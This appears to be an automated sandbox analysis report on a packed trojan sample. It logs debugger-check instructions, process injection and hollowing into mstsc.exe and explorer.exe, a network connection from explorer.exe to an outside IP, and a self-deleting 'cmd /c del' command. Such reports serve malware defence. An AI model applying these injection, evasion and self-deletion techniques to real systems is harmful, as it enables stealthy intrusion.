Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB477 mov eax, dword ptr fs:[00000030h]	1_2_012DB477
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB477 mov eax, dword ptr fs:[00000030h]	1_2_012DB477
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB477 mov eax, dword ptr fs:[00000030h]	1_2_012DB477
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134C450 mov eax, dword ptr fs:[00000030h]	1_2_0134C450
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134C450 mov eax, dword ptr fs:[00000030h]	1_2_0134C450
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EA44B mov eax, dword ptr fs:[00000030h]	1_2_012EA44B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496 mov eax, dword ptr fs:[00000030h]	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C849B mov eax, dword ptr fs:[00000030h]	1_2_012C849B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01336CF0 mov eax, dword ptr fs:[00000030h]	1_2_01336CF0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01336CF0 mov eax, dword ptr fs:[00000030h]	1_2_01336CF0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01336CF0 mov eax, dword ptr fs:[00000030h]	1_2_01336CF0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013714FB mov eax, dword ptr fs:[00000030h]	1_2_013714FB
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01388CD6 mov eax, dword ptr fs:[00000030h]	1_2_01388CD6
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B4F2E mov eax, dword ptr fs:[00000030h]	1_2_012B4F2E
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B4F2E mov eax, dword ptr fs:[00000030h]	1_2_012B4F2E
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB73D mov eax, dword ptr fs:[00000030h]	1_2_012DB73D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB73D mov eax, dword ptr fs:[00000030h]	1_2_012DB73D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E3F33 mov eax, dword ptr fs:[00000030h]	1_2_012E3F33
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EE730 mov eax, dword ptr fs:[00000030h]	1_2_012EE730
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EA70E mov eax, dword ptr fs:[00000030h]	1_2_012EA70E
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EA70E mov eax, dword ptr fs:[00000030h]	1_2_012EA70E
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134FF10 mov eax, dword ptr fs:[00000030h]	1_2_0134FF10
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134FF10 mov eax, dword ptr fs:[00000030h]	1_2_0134FF10
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0138070D mov eax, dword ptr fs:[00000030h]	1_2_0138070D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0138070D mov eax, dword ptr fs:[00000030h]	1_2_0138070D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DF716 mov eax, dword ptr fs:[00000030h]	1_2_012DF716
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E4710 mov eax, dword ptr fs:[00000030h]	1_2_012E4710
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012CFF60 mov eax, dword ptr fs:[00000030h]	1_2_012CFF60
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01388F6A mov eax, dword ptr fs:[00000030h]	1_2_01388F6A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01371751 mov eax, dword ptr fs:[00000030h]	1_2_01371751
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012CEF40 mov eax, dword ptr fs:[00000030h]	1_2_012CEF40
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01337794 mov eax, dword ptr fs:[00000030h]	1_2_01337794
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01337794 mov eax, dword ptr fs:[00000030h]	1_2_01337794
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01337794 mov eax, dword ptr fs:[00000030h]	1_2_01337794
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C8794 mov eax, dword ptr fs:[00000030h]	1_2_012C8794
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F37F5 mov eax, dword ptr fs:[00000030h]	1_2_012F37F5
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0136FE3F mov eax, dword ptr fs:[00000030h]	1_2_0136FE3F
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BE620 mov eax, dword ptr fs:[00000030h]	1_2_012BE620
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BC600 mov eax, dword ptr fs:[00000030h]	1_2_012BC600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BC600 mov eax, dword ptr fs:[00000030h]	1_2_012BC600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BC600 mov eax, dword ptr fs:[00000030h]	1_2_012BC600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov ecx, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov ecx, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov ecx, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov ecx, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600 mov eax, dword ptr fs:[00000030h]	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E8E00 mov eax, dword ptr fs:[00000030h]	1_2_012E8E00
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EA61C mov eax, dword ptr fs:[00000030h]	1_2_012EA61C
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EA61C mov eax, dword ptr fs:[00000030h]	1_2_012EA61C
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01371608 mov eax, dword ptr fs:[00000030h]	1_2_01371608
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C766D mov eax, dword ptr fs:[00000030h]	1_2_012C766D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DAE73 mov eax, dword ptr fs:[00000030h]	1_2_012DAE73
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DAE73 mov eax, dword ptr fs:[00000030h]	1_2_012DAE73
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DAE73 mov eax, dword ptr fs:[00000030h]	1_2_012DAE73
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DAE73 mov eax, dword ptr fs:[00000030h]	1_2_012DAE73
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DAE73 mov eax, dword ptr fs:[00000030h]	1_2_012DAE73
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C7E41 mov eax, dword ptr fs:[00000030h]	1_2_012C7E41
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C7E41 mov eax, dword ptr fs:[00000030h]	1_2_012C7E41
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C7E41 mov eax, dword ptr fs:[00000030h]	1_2_012C7E41
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C7E41 mov eax, dword ptr fs:[00000030h]	1_2_012C7E41
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C7E41 mov eax, dword ptr fs:[00000030h]	1_2_012C7E41
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C7E41 mov eax, dword ptr fs:[00000030h]	1_2_012C7E41
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0137AE44 mov eax, dword ptr fs:[00000030h]	1_2_0137AE44
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0137AE44 mov eax, dword ptr fs:[00000030h]	1_2_0137AE44
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013346A7 mov eax, dword ptr fs:[00000030h]	1_2_013346A7
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01380EA5 mov eax, dword ptr fs:[00000030h]	1_2_01380EA5
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01380EA5 mov eax, dword ptr fs:[00000030h]	1_2_01380EA5
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01380EA5 mov eax, dword ptr fs:[00000030h]	1_2_01380EA5
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134FE87 mov eax, dword ptr fs:[00000030h]	1_2_0134FE87
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E16E0 mov ecx, dword ptr fs:[00000030h]	1_2_012E16E0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C76E2 mov eax, dword ptr fs:[00000030h]	1_2_012C76E2
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E36CC mov eax, dword ptr fs:[00000030h]	1_2_012E36CC
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F8EC7 mov eax, dword ptr fs:[00000030h]	1_2_012F8EC7
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01388ED6 mov eax, dword ptr fs:[00000030h]	1_2_01388ED6
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0136FEC0 mov eax, dword ptr fs:[00000030h]	1_2_0136FEC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AAC7B mov eax, dword ptr fs:[00000030h]	6_2_047AAC7B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477 mov eax, dword ptr fs:[00000030h]	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479746D mov eax, dword ptr fs:[00000030h]	6_2_0479746D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496 mov eax, dword ptr fs:[00000030h]	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AA44B mov eax, dword ptr fs:[00000030h]	6_2_047AA44B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047A3C3E mov eax, dword ptr fs:[00000030h]	6_2_047A3C3E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047A3C3E mov eax, dword ptr fs:[00000030h]	6_2_047A3C3E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047A3C3E mov eax, dword ptr fs:[00000030h]	6_2_047A3C3E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04848CD6 mov eax, dword ptr fs:[00000030h]	6_2_04848CD6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047ABC2C mov eax, dword ptr fs:[00000030h]	6_2_047ABC2C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047F6C0A mov eax, dword ptr fs:[00000030h]	6_2_047F6C0A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047F6C0A mov eax, dword ptr fs:[00000030h]	6_2_047F6C0A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047F6C0A mov eax, dword ptr fs:[00000030h]	6_2_047F6C0A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047F6C0A mov eax, dword ptr fs:[00000030h]	6_2_047F6C0A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_048314FB mov eax, dword ptr fs:[00000030h]	6_2_048314FB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831C06 mov eax, dword ptr fs:[00000030h]	6_2_04831C06
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0484740D mov eax, dword ptr fs:[00000030h]	6_2_0484740D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0484740D mov eax, dword ptr fs:[00000030h]	6_2_0484740D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0484740D mov eax, dword ptr fs:[00000030h]	6_2_0484740D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047F6CF0 mov eax, dword ptr fs:[00000030h]	6_2_047F6CF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047F6CF0 mov eax, dword ptr fs:[00000030h]	6_2_047F6CF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047F6CF0 mov eax, dword ptr fs:[00000030h]	6_2_047F6CF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0480C450 mov eax, dword ptr fs:[00000030h]	6_2_0480C450
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0480C450 mov eax, dword ptr fs:[00000030h]	6_2_0480C450

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe

Network Connect: 34.102.136.180 80

Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Memory allocated: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Memory written: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: unknown protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Thread register set: target process: 3424			Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Thread register set: target process: 2896			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe

Section unmapped: C:\Windows\SysWOW64\mstsc.exe base address: AB0000

Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Memory written: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Memory written: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Memory written: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe base: 9C6008	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process created: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe C:\Users\user\AppData\Local\Temp\AddInProcess32.exe			Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Local\Temp\AddInProcess32.exe'			Jump to behavior

Source: explorer.exe, 00000002.00000000.687108455.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000002.00000000.687502736.0000000001080000.00000002.00000001.sdmp, mstsc.exe, 00000006.00000002.1032343786.0000000003000000.00000002.00000001.sdmp, explorer.exe, 00000010.00000002.1029188263.00000000013D0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000002.00000000.687502736.0000000001080000.00000002.00000001.sdmp, mstsc.exe, 00000006.00000002.1032343786.0000000003000000.00000002.00000001.sdmp, explorer.exe, 00000010.00000003.881834324.0000000006499000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: WerFault.exe, 0000000A.00000003.731420901.000001EDC784C000.00000004.00000001.sdmp	Binary or memory string: GetProgmanWindow
Source: explorer.exe, 00000002.00000000.687502736.0000000001080000.00000002.00000001.sdmp, mstsc.exe, 00000006.00000002.1032343786.0000000003000000.00000002.00000001.sdmp, explorer.exe, 00000010.00000002.1029188263.00000000013D0000.00000002.00000001.sdmp	Binary or memory string: Progman
